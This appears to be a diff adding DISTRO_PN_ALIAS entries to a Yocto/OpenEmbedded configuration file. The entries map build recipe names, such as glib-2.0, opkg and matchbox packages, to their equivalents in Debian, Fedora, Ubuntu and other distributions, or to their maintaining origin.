+DISTRO_PN_ALIAS:pn-avahi-ui = "Ubuntu=avahi-discover Debian=avahi-discover"
+DISTRO_PN_ALIAS:pn-babeltrace = "OSPDT"
+DISTRO_PN_ALIAS:pn-babeltrace2 = "OSPDT"
+DISTRO_PN_ALIAS:pn-bjam = "OpenSuSE=boost-jam Debian=bjam"
+DISTRO_PN_ALIAS:pn-blktool = "Debian=blktool Mandriva=blktool"
+DISTRO_PN_ALIAS:pn-bluez5 = "Fedora=bluez Opensuse=bluez"
+DISTRO_PN_ALIAS:pn-bootchart2 = "Fedora=bootchart2 Opensuse=bootchart"
+DISTRO_PN_ALIAS:pn-btrfs-tools = "Debian=btrfs-tools Fedora=btrfs-progs"
+DISTRO_PN_ALIAS:pn-build-appliance-image = "OSPDT"
+DISTRO_PN_ALIAS:pn-builder = "OE-Core"
+DISTRO_PN_ALIAS:pn-buildtools-tarball = "OE-Core"
+DISTRO_PN_ALIAS:pn-cdrtools = "OpenSUSE=cdrtools OSPDT"
+DISTRO_PN_ALIAS:pn-chkconfig-alternatives = "Mandriva=chkconfig Debian=chkconfig"
+DISTRO_PN_ALIAS:pn-connman = "Meego=connman"
+DISTRO_PN_ALIAS:pn-connman-conf = "OE-Core"
+DISTRO_PN_ALIAS:pn-connman-gnome = "Intel"
+DISTRO_PN_ALIAS:pn-console-tools = "Debian=console-tools Ubuntu=console-tools"
+DISTRO_PN_ALIAS:pn-core-image-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-full-cmdline = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-kernel-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-initramfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-mtdutils = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-rt = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-rt-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-testmaster = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-testmaster-initramfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-weston = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-x11 = "OE-Core"
+DISTRO_PN_ALIAS:pn-createrepo-c = "Fedora=createrepo_c Clear=createrepo_c"
+DISTRO_PN_ALIAS:pn-cross-localedef = "OSPDT"
+DISTRO_PN_ALIAS:pn-cryptodev-linux = "OE-Core"
+DISTRO_PN_ALIAS:pn-cryptodev-module = "OE-Core"
+DISTRO_PN_ALIAS:pn-cryptodev-tests = "OE-Core"
+DISTRO_PN_ALIAS:pn-cwautomacros = "OSPDT upstream=http://cwautomacros.berlios.de/"
+DISTRO_PN_ALIAS:pn-db = "Debian=db5.1 Ubuntu=db5.1"
+DISTRO_PN_ALIAS:pn-dbus-test = "Fedora=dbus Ubuntu=dbus"
+DISTRO_PN_ALIAS:pn-dbus-wait = "OpenedHand"
+DISTRO_PN_ALIAS:pn-depmodwrapper-cross = "OE-Core"
+DISTRO_PN_ALIAS:pn-distcc = "Debian=distcc Fedora=distcc"
+DISTRO_PN_ALIAS:pn-distcc-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-docbook-dsssl-stylesheets = "Fedora=docbook-style-dsssl Ubuntu=docbook-dsssl"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-3.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd31-sgml"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-4.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd41-sgml"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-4.5 = "Fedora=docbook-dtds Mandriva=docbook-dtd42-sgml"
+DISTRO_PN_ALIAS:pn-docbook-xml-dtd4 = "Ubuntu=docbook-xml Fedora=docbook-dtds"
+DISTRO_PN_ALIAS:pn-docbook-xml-dtd4-native = "Ubuntu=docbook-xml Fedora=docbook-dtds"
+DISTRO_PN_ALIAS:pn-docbook-xsl-stylesheets = "Fedora=docbook-xsl-stylesheets Opensuse=docbook-xsl-stylesheets"
+DISTRO_PN_ALIAS:pn-dropbear = "Debian=dropbear Ubuntu=dropbear"
+DISTRO_PN_ALIAS:pn-dtc = "Fedora=dtc Ubuntu=dtc"
+DISTRO_PN_ALIAS:pn-encodings = "Ubuntu=xfonts-encodings Mandriva=x11-font-encodings Debian=xfonts-encodings"
+DISTRO_PN_ALIAS:pn-font-alias = "Fedora=xorg-x11-fonts-base Mandriva=x11-font-alias Meego=xorg-x11-fonts"
+DISTRO_PN_ALIAS:pn-font-util = "Meego=xorg-x11-font-utils Fedora=xorg-x11-font-utils Ubuntu=xfonts-utils Mandriva=x11-font-util Debian=xfonts-utils"
+DISTRO_PN_ALIAS:pn-formfactor = "OE-Core"
+DISTRO_PN_ALIAS:pn-gccmakedep = "Mandriva=gccmakedep Ubuntu=xutils-dev"
+DISTRO_PN_ALIAS:pn-gcc-runtime = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gcc-sanitizers = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gcc-source = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gconf-dbus = "Meego=GConf-dbus"
+DISTRO_PN_ALIAS:pn-gdk-pixbuf = "Debian=libgdk-pixbuf2.0 Fedora=gdk-pixbuf"
+DISTRO_PN_ALIAS:pn-gdk-pixbuf-csource = "Debian=libgdk-pixbuf2.0-0 Fedora=gdk-pixbuf2"
+DISTRO_PN_ALIAS:pn-gettext-minimal = "Debian=gettext Fedora=gettext"
+DISTRO_PN_ALIAS:pn-glib-2.0 = "Meego=glib2 Fedora=glib2 OpenSuSE=glib2 Ubuntu=glib2.0 Mandriva=glib2.0 Debian=glib2.0"
+DISTRO_PN_ALIAS:pn-glibc-locale = "OpenSuSE=glibc-locale Fedora=glibc-devel"
+DISTRO_PN_ALIAS:pn-glibc-mtrace = "Fedora=glibc-utils Ubuntu=libc-dev-bin"
+DISTRO_PN_ALIAS:pn-glibc-scripts = "Fedora=glibc Ubuntu=libc-bin"
+DISTRO_PN_ALIAS:pn-gnome-desktop-testing = "Debian=gnome-desktop-testing Fedora=gnome-desktop-testing"
+DISTRO_PN_ALIAS:pn-gnu-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-gptfdisk = "Fedora=gdisk Ubuntu=gdisk"
+DISTRO_PN_ALIAS:pn-grub-efi = "Debian=grub-efi Fedora=grub2-efi"
+DISTRO_PN_ALIAS:pn-gst-player = "Ubuntu=gst-player Fedora=gstreamer-player"
+DISTRO_PN_ALIAS:pn-gst-plugin-bluetooth = "Ubuntu=libgstreamer-plugins-base Fedora=gstreamer-plugins-base"
+DISTRO_PN_ALIAS:pn-gstreamer1.0 = "Debian=gstreamer1.0 Ubuntu=gstreamer1.0"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-meta-base = "Meego=gstreamer Fedora=gstreamer OpenSuSE=gstreamer Ubuntu=gstreamer0.10"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-bad = "Debian=gstreamer1.0-plugins-bad Ubuntu=gstreamer1.0-plugins-bad"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-base = "Debian=gstreamer1.0-plugins-base Ubuntu=gstreamer1.0-plugins-base"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-good = "Debian=gstreamer1.0-plugins-good Ubuntu=gstreamer1.0-plugins-bad"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-rtsp-server = "Ubuntu=gstreamer0.10-rtsp Fedora=gstreamer-rtsp"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-vaapi = "Fedora=gstreamer1-vaapi Debian=gstreamer-vaapi Clear=gstreamer-vaapi"
+DISTRO_PN_ALIAS:pn-gtk+ = "Meego=gtk2 Fedora=gtk2 OpenSuSE=gtk2 Ubuntu=gtk+2.0 Mandriva=gtk+2.0 Debian=gtk+2.0"
+DISTRO_PN_ALIAS:pn-gtk+3 = "Ubuntu=gtk+3.0 Debian=gtk+3.0 Fedora=gtk3"
+DISTRO_PN_ALIAS:pn-gtk-doc = "Fedora=gtk-doc Ubuntu=gtk-doc"
+DISTRO_PN_ALIAS:pn-gtk-engines = "Fedora=gtk2-engines OpenSuSE=gtk2-engines Ubuntu=gtk2-engines Mandriva=gtk-engines2 Debian=gtk2-engines"
+DISTRO_PN_ALIAS:pn-gtk-sato-engine = "OpenedHand"
+DISTRO_PN_ALIAS:pn-gtk-icon-utils-native = "OSPDT"
+DISTRO_PN_ALIAS:pn-systemd-boot = "Ubuntu=systemd-boot Fedora=systemd-boot"
+DISTRO_PN_ALIAS:pn-hello-mod = "OE-Core"
+DISTRO_PN_ALIAS:pn-hwlatdetect = "OSPDT"
+DISTRO_PN_ALIAS:pn-icecc-create-env = "OE-Core"
+DISTRO_PN_ALIAS:pn-init-ifupdown = "Debian=ifupdown Ubuntu=ifupdown"
+DISTRO_PN_ALIAS:pn-initramfs-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-framework = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-efi = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-efi-testfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-testfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-initscripts = "Fedora=initscripts Mandriva=initscripts"
+DISTRO_PN_ALIAS:pn-iproute2 = "OSPDT"
+DISTRO_PN_ALIAS:pn-jpeg = "OpenSuSE=libjpeg Ubuntu=libjpeg62"
+DISTRO_PN_ALIAS:pn-kernel-devsrc = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-kern-tools-native = "Windriver"
+DISTRO_PN_ALIAS:pn-keymaps = "OE-Core"
+DISTRO_PN_ALIAS:pn-kf = "OSPDT"
+DISTRO_PN_ALIAS:pn-lame = "Debian=lame Ubuntu=lame"
+DISTRO_PN_ALIAS:pn-ldconfig-native = "Ubuntu=libc-bin Fedora=glibc"
+DISTRO_PN_ALIAS:pn-liba52 = "Mandriva=a52dec Debian=a52dec"
+DISTRO_PN_ALIAS:pn-libacpi = "Ubuntu=libacpi Mandriva=libacpi"
+DISTRO_PN_ALIAS:pn-libatomics-ops = "Meego=libatomic-ops Debian=libatomic-ops Ubuntu=libatomic-ops OpenSuSE=libatomic-ops Mandriva=libatomic-ops"
+DISTRO_PN_ALIAS:pn-libcgroup = "Ubuntu=libcgroup1 Debian=libcgroup1"
+DISTRO_PN_ALIAS:pn-libcheck = "Ubuntu=check Fedora=check OpenSuSE=check"
+DISTRO_PN_ALIAS:pn-libclass-isa-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libdumpvalue-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libenv-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-liberation-fonts = "Ubuntu=fonts-liberation Fedora=liberation-fonts-ttf"
+DISTRO_PN_ALIAS:pn-libfakekey = "Meego1.0=libfakekey Debian=libfakekey"
+DISTRO_PN_ALIAS:pn-libfile-checktree-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libfm-extra = "Opensuse=libfm-extra4 Ubuntu=libfm-extra4"
+DISTRO_PN_ALIAS:pn-libgcc = "Debian=libgcc4 Ubuntu=libgcc1 OpenSuSE=libgcc46"
+DISTRO_PN_ALIAS:pn-libgdbus = "Intel"
+DISTRO_PN_ALIAS:pn-libglade = "Meego=libglade2 Fedora=libglade2 OpenSuSE=libglade2 Ubuntu=libglade2 Mandriva=libglade2.0 Debian=libglade2"
+DISTRO_PN_ALIAS:pn-libglu = "Debian=libglu Ubuntu=libglu Opensuse=mesa-libglu"
+DISTRO_PN_ALIAS:pn-libgu = "OpenSuSE=glu OSPDT"
+DISTRO_PN_ALIAS:pn-libi18n-collate-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libical = "Ubuntu=libical Fedora=libical"
+DISTRO_PN_ALIAS:pn-libiconv = "Fedora=mingw-libiconv Opensuse=cross-mingw-libiconv"
+DISTRO_PN_ALIAS:pn-libinput = "Ubuntu=libinput0 Fedora=libinput0"
+DISTRO_PN_ALIAS:pn-libjson = "Ubuntu=libjson0-dev Debian=libjson0-dev"
+DISTRO_PN_ALIAS:pn-libksba = "Fedora=libksba Debian=libksba8 Ubuntu=libksba"
+DISTRO_PN_ALIAS:pn-libmatchbox = "Ubuntu=libmatchbox Fedora=libmatchbox"
+DISTRO_PN_ALIAS:pn-libmpc = "Fedora=libmpc OpenSuse=libmpc2"
+DISTRO_PN_ALIAS:pn-libnewt = "Debian=libnewt0.52 Fedora=newt"
+DISTRO_PN_ALIAS:pn-libnewt-python = "Ubuntu=python-newt Fedora=newt-python"
+DISTRO_PN_ALIAS:pn-libnl = "Mandriva=libnl Fedora=libnl"
+DISTRO_PN_ALIAS:pn-libnss-mdns = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
+DISTRO_PN_ALIAS:pn-libomxil = "OSPDT upstream=http://omxil.sourceforge.net/"
+DISTRO_PN_ALIAS:pn-libowl = "Debian=owl OpenedHand"
+DISTRO_PN_ALIAS:pn-libpam = "Meego=pam Fedora=pam OpenSuSE=pam Ubuntu=pam Mandriva=pam Debian=pam"
+DISTRO_PN_ALIAS:pn-libpcre = "Mandriva=libpcre0 Fedora=pcre"
+DISTRO_PN_ALIAS:pn-libpcre2 = "Fedora=pcre2 Debian=pcre2 Clear=pcre2"
+DISTRO_PN_ALIAS:pn-libpng12 = "Debian=libpng12-0 Fedora=libpng"
+DISTRO_PN_ALIAS:pn-libpod-plainer-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libsamplerate0 = "Meego=libsamplerate Fedora=libsamplerate OpenSuSE=libsamplerate Ubuntu=libsamplerate Mandriva=libsamplerate Debian=libsamplerate"
+DISTRO_PN_ALIAS:pn-libsdl2 = "Fedora=sdl2 Opensuse=libsdl2 Ubuntu=libsdl2 Debian=libsdl2"
+DISTRO_PN_ALIAS:pn-libsndfile1 = "Meego=libsndfile Fedora=libsndfile OpenSuSE=libsndfile Ubuntu=libsndfile Mandriva=libsndfile Debian=libsndfile"
+DISTRO_PN_ALIAS:pn-libsoup-2.4 = "Meego=libsoup Fedora=libsoup OpenSuSE=libsoup Ubuntu=libsoup2.4 Mandriva=libsoup Debian=libsoup2.4"
+DISTRO_PN_ALIAS:pn-libtelepathy = "Debian=libtelepathy2 Ubuntu=libtelepathy2"
+DISTRO_PN_ALIAS:pn-libtimedate-perl = "Debian=libtimedate-perl Ubuntu=libtimedate-perl"
+DISTRO_PN_ALIAS:pn-liburcu = "Fedora=userspace-rcu Ubuntu=liburcu0"
+DISTRO_PN_ALIAS:pn-libusb1 = "Debian=libusb-1.0-0 Fedora=libusb1"
+DISTRO_PN_ALIAS:pn-libx11 = "Debian=libx11-6 Fedora=libX11 Ubuntu=libx11-6 OpenSuSE=xorg-x11-libX11"
+DISTRO_PN_ALIAS:pn-libxcalibrate = "OSPDT upstream=http://cgit.freedesktop.org/xorg/lib/libXCalibrate/"
+DISTRO_PN_ALIAS:pn-libxfont2 = "Fedora=libXfont2 Clear=libXfont2"
+DISTRO_PN_ALIAS:pn-libxft = "Mandriva=libxft Debian=libxft2 Ubuntu=libxft2"
+DISTRO_PN_ALIAS:pn-libxi = "Ubuntu=libxi Fedora=libXi"
+DISTRO_PN_ALIAS:pn-libxkbcommon = "Fedora=libxkbcommon Debian=libxkbcommon"
+DISTRO_PN_ALIAS:pn-libxscrnsaver = "Fedora=libXScrnSaver Ubuntu=libxss1 Mandriva=libxscrnsaver"
+DISTRO_PN_ALIAS:pn-linux-dummy = "Intel"
+DISTRO_PN_ALIAS:pn-linux-firmware = "Fedora=linux-firmware Ubuntu=linux-firmware"
+DISTRO_PN_ALIAS:pn-linux-libc-headers = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
+DISTRO_PN_ALIAS:pn-linux-libc-headers-yocto = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
+DISTRO_PN_ALIAS:pn-linux-yocto = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-linux-yocto-rt = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-linux-yocto-tiny = "OSPDT"
+DISTRO_PN_ALIAS:pn-ltp = "Mandriva=ltp Ubuntu=ltp"
+DISTRO_PN_ALIAS:pn-lttng-modules = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lttng-tools = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lttng-ust = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lz4 = "Debian=lz4 Fedora=lz4"
+DISTRO_PN_ALIAS:pn-lzo = "Debian=liblzo Ubuntu=liblzo Fedora=lzp"
+DISTRO_PN_ALIAS:pn-mailx = "Debian=bsd-mailx Ubuntu=bsd-mailx"
+DISTRO_PN_ALIAS:pn-makedepend = "Mandriva=makedepend Ubuntu=xutils-dev"
+DISTRO_PN_ALIAS:pn-makedevs = "OE-Core"
+DISTRO_PN_ALIAS:pn-matchbox-config-gtk = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-desktop = "Mandriva=matchbox-desktop Ubuntu=matchbox-desktop"
+DISTRO_PN_ALIAS:pn-matchbox-desktop-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-keyboard = "Debian=matchbox-keyboard Fedora=matchbox-keyboard"
+DISTRO_PN_ALIAS:pn-matchbox-panel-2 = "Debian=matchbox-panel Mandriva=matchbox-panel Ubuntu=matchbox-panel"
+DISTRO_PN_ALIAS:pn-matchbox-session = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-session-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-terminal = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-theme-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-themes-extra = "Ubuntu=matchbox-themes-extra Mandriva=matchbox-themes-extra"
+DISTRO_PN_ALIAS:pn-matchbox-themes-gtk = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-wm = "OpenedHand"
+DISTRO_PN_ALIAS:pn-menu-cache = "OSPDT"
+DISTRO_PN_ALIAS:pn-mesa = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
+DISTRO_PN_ALIAS:pn-mesa-gl = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
+DISTRO_PN_ALIAS:pn-meta-environment-extsdk-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-i586 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-qemux86-64 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-ide-support = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-toolchain = "OE-Core"
+DISTRO_PN_ALIAS:pn-mini-x-session = "OSPDT"
+DISTRO_PN_ALIAS:pn-mkelfimage = "Ubuntu=mkelfimage Fedora=mkelfimage"
+DISTRO_PN_ALIAS:pn-mkfontdir = "Mandriva=mkfontdir Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
+DISTRO_PN_ALIAS:pn-mkfontscale = "Mandriva=mkfontscale Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
+DISTRO_PN_ALIAS:pn-mmc-utils = "OE-Core"
+DISTRO_PN_ALIAS:pn-modutils-initscripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-mtd-utils = "Debian=mtd-utils Ubuntu=mtd-utils"
+DISTRO_PN_ALIAS:pn-mx-1.0 = "Ubuntu=mx Debian=mx Fedora=mx"
+DISTRO_PN_ALIAS:pn-neard = "Intel"
+DISTRO_PN_ALIAS:pn-neon = "Fedora=neon Opensuse=neon"
+DISTRO_PN_ALIAS:pn-network-suspend-scripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-nfs-export-root = "OpenedHand"
+DISTRO_PN_ALIAS:pn-npth = "OSPDT"
+DISTRO_PN_ALIAS:pn-nss-myhostname = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
+DISTRO_PN_ALIAS:pn-ofono = "Debian=ofono Ubuntu=ofono"
+DISTRO_PN_ALIAS:pn-oh-puzzles = "OpenedHand"
+DISTRO_PN_ALIAS:pn-opkg = "OSPDT upstream=http://svn.openmoko.org/trunk/src/tar"
+DISTRO_PN_ALIAS:pn-opkg-arch-config = "OE-Core"
+DISTRO_PN_ALIAS:pn-opkg-collateral = "OE-Core"
+DISTRO_PN_ALIAS:pn-opkg-keyrings = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-opkg-nogpg = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-opkg-utils = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-os-release = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-buildessential = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-device-devel = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-eclipse-debug = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-full-cmdline = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-nfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-ssh-dropbear = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-ssh-openssh = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-standalone-sdk-target = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-debug = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-profile = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-testapps = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-mini = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-xserver = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-i586 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-qemux86-64 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-sdk-host = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-self-hosted = "OE-Core"
+DISTRO_PN_ALIAS:pn-package-index = "OE-Core"
+DISTRO_PN_ALIAS:pn-patchelf = "Opensuse=patchelf Fedora=patchelf"
+DISTRO_PN_ALIAS:pn-perf = "OSPDT"
+DISTRO_PN_ALIAS:pn-piglit = "OE-Core"
+DISTRO_PN_ALIAS:pn-pkgconfig = "Ubuntu=pkg-config Fedora=pkgconfig"
+DISTRO_PN_ALIAS:pn-pointercal-xinput = "OE-Core"
+DISTRO_PN_ALIAS:pn-pong-clock = "OpenedHand"
+DISTRO_PN_ALIAS:pn-portmap = "Debian=rpcbind Fedora=rpcbind"
+DISTRO_PN_ALIAS:pn-powertop = "Meego=powertop Fedora=powertop Debian=powertop OpenSuSE=powertop Mandriva=powertop"
+DISTRO_PN_ALIAS:pn-ppp-dialin = "OE-Core"
+DISTRO_PN_ALIAS:pn-pseudo = "Windriver"
+DISTRO_PN_ALIAS:pn-psplash = "OpenedHand"
+DISTRO_PN_ALIAS:pn-ptest-runner = "OE-Core"
+DISTRO_PN_ALIAS:pn-pulseaudio-client-conf-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-puzzles = "Debian=sgt-puzzles Fedora=puzzles"
+DISTRO_PN_ALIAS:pn-python3 = "Fedora=python3 Debian=python3.2"
+DISTRO_PN_ALIAS:pn-python3-iniparse = "Fedora=python-iniparse Debian=python-iniparse"
+DISTRO_PN_ALIAS:pn-python3-pip = "OpenSuSE=python3-pip Debian=python3-pip"
+DISTRO_PN_ALIAS:pn-python3-pycurl = "Fedora=python-pycurl Debian=pycurl"
+DISTRO_PN_ALIAS:pn-python3-pygpgme = "Fedora=python-pygpgme Debian=pygpgme"
+DISTRO_PN_ALIAS:pn-python3-setuptools = "OpenSuSE=python3-setuptools Debian=python3-setuptools"
+DISTRO_PN_ALIAS:pn-python-dbus = "Ubuntu=python-dbus Debian=python-dbus Mandriva=python-dbus"
+DISTRO_PN_ALIAS:pn-python-git = "Debian=python-git Fedora=GitPython"
+DISTRO_PN_ALIAS:pn-python-mako = "Fedora=python-mako Opensuse=python-Mako"
+DISTRO_PN_ALIAS:pn-python-pycairo = "Meego=pycairo Fedora=pycairo Ubuntu=pycairo Debian=pycairo"
+DISTRO_PN_ALIAS:pn-python-pygobject = "Meego=pygobject2 Fedora=pygobject2 Ubuntu=pygobject Debian=pygobject"
+DISTRO_PN_ALIAS:pn-python-scons = "Fedora=scons OpenSuSE=scons Ubuntu=scons Mandriva=scons Debian=scons"
+DISTRO_PN_ALIAS:pn-python-setuptools = "Mandriva=python-setup OpenSuSE=python-setup-git"
+DISTRO_PN_ALIAS:pn-python-smartpm = "Debian=smart OpenSuSE=smart"
+DISTRO_PN_ALIAS:pn-qemu-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemugl = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemu-helper = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemuwrapper-cross = "OE-Core"
+DISTRO_PN_ALIAS:pn-readline = "Fedora=readline Debian=readline-common"
+DISTRO_PN_ALIAS:pn-remake = "Mandriva=remake Debian=remake"
+DISTRO_PN_ALIAS:pn-rgb = "Fedora=xorg-X11-server-utils Debian=x11-xserver-utils"
+DISTRO_PN_ALIAS:pn-rpmresolve = "OSPDT"
+DISTRO_PN_ALIAS:pn-rt-tests = "Debian=rt-tests Ubuntu=rt-tests"
+DISTRO_PN_ALIAS:pn-run-postinsts = "OE-Core"
+DISTRO_PN_ALIAS:pn-sato-icon-theme = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sato-screenshot = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sbc = "Fedora=sbc Debian=libsbc1"
+DISTRO_PN_ALIAS:pn-screenshot = "OpenedHand"
+DISTRO_PN_ALIAS:pn-settings-daemon = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sgml-common = "OpenSuSE=sgml-common Fedora=sgml-common"
+DISTRO_PN_ALIAS:pn-sgmlspl = "Debian=sgmlspl Ubuntu=sgmlspl"
+DISTRO_PN_ALIAS:pn-shadow-securetty = "Ubuntu=shadow Fedora=shadow"
+DISTRO_PN_ALIAS:pn-shadow-sysroot = "Ubuntu=shadow Fedora=shadow"
+DISTRO_PN_ALIAS:pn-shutdown-desktop = "OpenedHand"
+DISTRO_PN_ALIAS:pn-speexdsp = "Ubuntu=libspeexdsp1 Fedora=speexdsp"
+DISTRO_PN_ALIAS:pn-stat = "Debian=coreutils Fedora=coreutils"
+DISTRO_PN_ALIAS:pn-stress = "Debian=stress Fedora=stress"
+DISTRO_PN_ALIAS:pn-sysklogd = "Debian=sysklogd Mandriva=sysklogd"
+DISTRO_PN_ALIAS:pn-sysprof = "Fedora=sysprof Debian=sysprof"
+DISTRO_PN_ALIAS:pn-systemd-compat-units = "Fedora=systemd Ubuntu=systemd"
+DISTRO_PN_ALIAS:pn-systemd-systemctl = "OE-Core"
+DISTRO_PN_ALIAS:pn-systemd-systemdctl = "Fedora=systemd Ubuntu=systemd"
+DISTRO_PN_ALIAS:pn-systemtap-uprobes = "Ubuntu=systemtap Debian=systemtap"
+DISTRO_PN_ALIAS:pn-sysvinit-inittab = "OE-Core"
+DISTRO_PN_ALIAS:pn-tar-replacement = "Fedora=tar Ubuntu=tar"
+DISTRO_PN_ALIAS:pn-tcf-agent = "Windriver upstream=http://www.eclipse.org/dsdp/tm/"
+DISTRO_PN_ALIAS:pn-texinfo-dummy-native = "OE-Core"
+DISTRO_PN_ALIAS:pn-tiny-init = "OSPDT"
+DISTRO_PN_ALIAS:pn-tremor = "OSPDT upstream=http://www.xiph.org/vorbis/"
+DISTRO_PN_ALIAS:pn-ttf-bitstream-vera = "Debian=ttf-bitstream-vera Ubuntu=ttf-bitstream-vera"
+DISTRO_PN_ALIAS:pn-tzcode = "OSPDT"
+DISTRO_PN_ALIAS:pn-u-boot-fw-utils = "Ubuntu=u-boot-tools Debian=u-boot-tools"
